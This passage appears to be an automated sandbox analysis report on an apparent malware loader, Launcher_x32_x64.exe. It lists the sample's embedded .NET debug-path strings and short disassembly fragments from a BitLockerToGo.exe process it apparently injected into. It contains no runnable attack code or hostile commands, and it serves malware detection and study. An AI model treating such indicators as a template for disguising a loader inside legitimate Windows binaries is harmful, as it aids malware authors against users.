Source:	Binary string: System.Net.NameResolution.ni.pdbu? source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Formats.Asn1.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net8.0-windows/System.Configuration.pdbSHA256l8 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.Watcher\Release\net8.0-windows\System.IO.FileSystem.Watcher.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem/Release/net8.0-windows/System.IO.FileSystem.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Console.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1833876636.000000000E4A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1833941119.000000000E521000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel\Release\net8.0\System.ComponentModel.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834316222.000000000E800000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Pipes.ni.pdb? source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Core/Release/net8.0-windows/System.Core.pdbSHA2564- source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Http.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.FileSystem.AccessControl.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Drawing.Primitives\Release\net8.0-windows\System.Drawing.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.StackTrace.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Specialized.ni.pdbI source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Drawing.Primitives\Release\net8.0-windows\System.Drawing.Primitives.pdbSHA256R source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Pipes.AccessControl\Release\net8.0-windows\System.IO.Pipes.AccessControl.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.ZipFile\Release\net8.0-windows\System.IO.Compression.ZipFile.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Calendars/Release/net8.0-windows/System.Globalization.Calendars.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net8.0-windows/Microsoft.VisualBasic.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ZipFile.ni.pdb(Qw source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1834316222.000000000E800000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Globalization/Release/net8.0-windows/System.Globalization.pdbSHA256& source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.IO.Compression.FileSystem/Release/net8.0-windows/System.IO.Compression.FileSystem.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.ComponentModel.DataAnnotations/Release/net8.0-windows/System.ComponentModel.DataAnnotations.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.Brotli.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: \Desktop\ProjectLoader\Project\obj\Release\net8.0\win-x86\Project.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.ni.pdb_ source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256?) source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.TextWriterTraceListener.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.CoreLib.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.TypeConverter\Release\net8.0\System.ComponentModel.TypeConverter.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Annotations\Release\net8.0\System.ComponentModel.Annotations.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.CSharp\Release\net8.0-windows\Microsoft.CSharp.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.AccessControl\Release\net8.0-windows\System.IO.FileSystem.AccessControl.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Drawing/Release/net8.0-windows/System.Drawing.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Threading.ni.pdb_ source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net8.0-windows/System.Data.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.TraceSource\Release\net8.0\System.Diagnostics.TraceSource.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.StackTrace\Release\net8.0\System.Diagnostics.StackTrace.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Immutable.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO/Release/net8.0-windows/System.IO.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem/Release/net8.0-windows/System.IO.FileSystem.pdbSHA256!"u source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.NameResolution.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: \Desktop\ProjectLoader\Project\obj\Release\net8.0\win-x86\Project.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.TypeConverter\Release\net8.0\System.ComponentModel.TypeConverter.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Primitives/Release/net8.0-windows/System.Security.Cryptography.Primitives.pdbSHA256& source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256I source: Launcher_x32_x64.exe, 00000000.00000002.1834088849.000000000E5B0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Specialized\Release\net8.0\System.Collections.Specialized.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256dXf source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.IsolatedStorage\Release\net8.0-windows\System.IO.IsolatedStorage.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.TypeConverter.ni.pdbV@ source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.TraceSource.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.DriveInfo\Release\net8.0-windows\System.IO.FileSystem.DriveInfo.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Principal.Windows.ni.pdbf source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.Uri.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1823830750.000000000D011000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1822713713.000000000CFD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdbSHA256ENA source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization/Release/net8.0-windows/System.Globalization.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem.Primitives/Release/net8.0-windows/System.IO.FileSystem.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.VisualBasic.Core\Release\net8.0-windows\Microsoft.VisualBasic.Core.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.StackTrace.ni.pdbAM source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net8.0-windows\System.Console.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Asn1\Release\net8.0\System.Formats.Asn1.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.IsolatedStorage\Release\net8.0-windows\System.IO.IsolatedStorage.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ni.pdb: source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Primitives/Release/net8.0-windows/System.Security.Cryptography.Primitives.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Compression.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Cryptography.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1821619144.000000000CE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.Serialization/Release/net8.0-windows/System.Runtime.Serialization.pdbSHA256y source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Data.Common\Release\net8.0\System.Data.Common.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net8.0\System.Diagnostics.Contracts.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.TypeConverter.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Primitives.ni.pdbS source: Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb^L[T source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Asn1\Release\net8.0\System.Formats.Asn1.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.IsolatedStorage.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Drawing/Release/net8.0-windows/System.Drawing.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256M source: Launcher_x32_x64.exe
Source:	Binary string: BitLockerToGo.pdbGCTL source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003F4C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1882156226.0000000002F15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Formats.Asn1.ni.pdbd source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.FileSystem.Watcher.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdbSHA256? source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Http.ni.pdb,U source: Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Data.Common.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.UnmanagedMemoryStream/Release/net8.0-windows/System.IO.UnmanagedMemoryStream.pdbSHA256#N source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdbSHA256Bs source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.ComponentModel.DataAnnotations/Release/net8.0-windows/System.ComponentModel.DataAnnotations.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Primitives.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.FileVersionInfo\Release\net8.0-windows\System.Diagnostics.FileVersionInfo.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.ZipFile\Release\net8.0-windows\System.IO.Compression.ZipFile.pdbSHA256X source: Launcher_x32_x64.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_004321F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_004323E3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_00419040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [ecx+esi*2]	3_2_0042D070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00434030
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000280h]	3_2_0040D0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_004208E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [eax], dl	3_2_0040D978
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	3_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00434110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [edx+eax-01h]	3_2_004089F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	3_2_00420980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [ebx]	3_2_00435990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add edi, 02h	3_2_00413A4A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	3_2_0041FACE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0041FACE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00435280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_00403290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp]	3_2_004312A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+1Ch]	3_2_0040B310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], cx	3_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	3_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esp+40h]	3_2_0041BB22
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, 00008000h	3_2_004043C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 84AA3BD1h	3_2_004353C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_0043238A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [ebp-1Ch]	3_2_00433BA8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00433C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00434450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	3_2_004324BC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_00429540
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [ebp-1Ch]	3_2_004335D2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00418DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_0040FDEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	3_2_0041EDFE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00433D90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+08h], eax	3_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	3_2_004235B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_0042F6F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_00431E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp]	3_2_00433F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_00412F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp cl, 0000002Eh	3_2_0041D752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_00414770
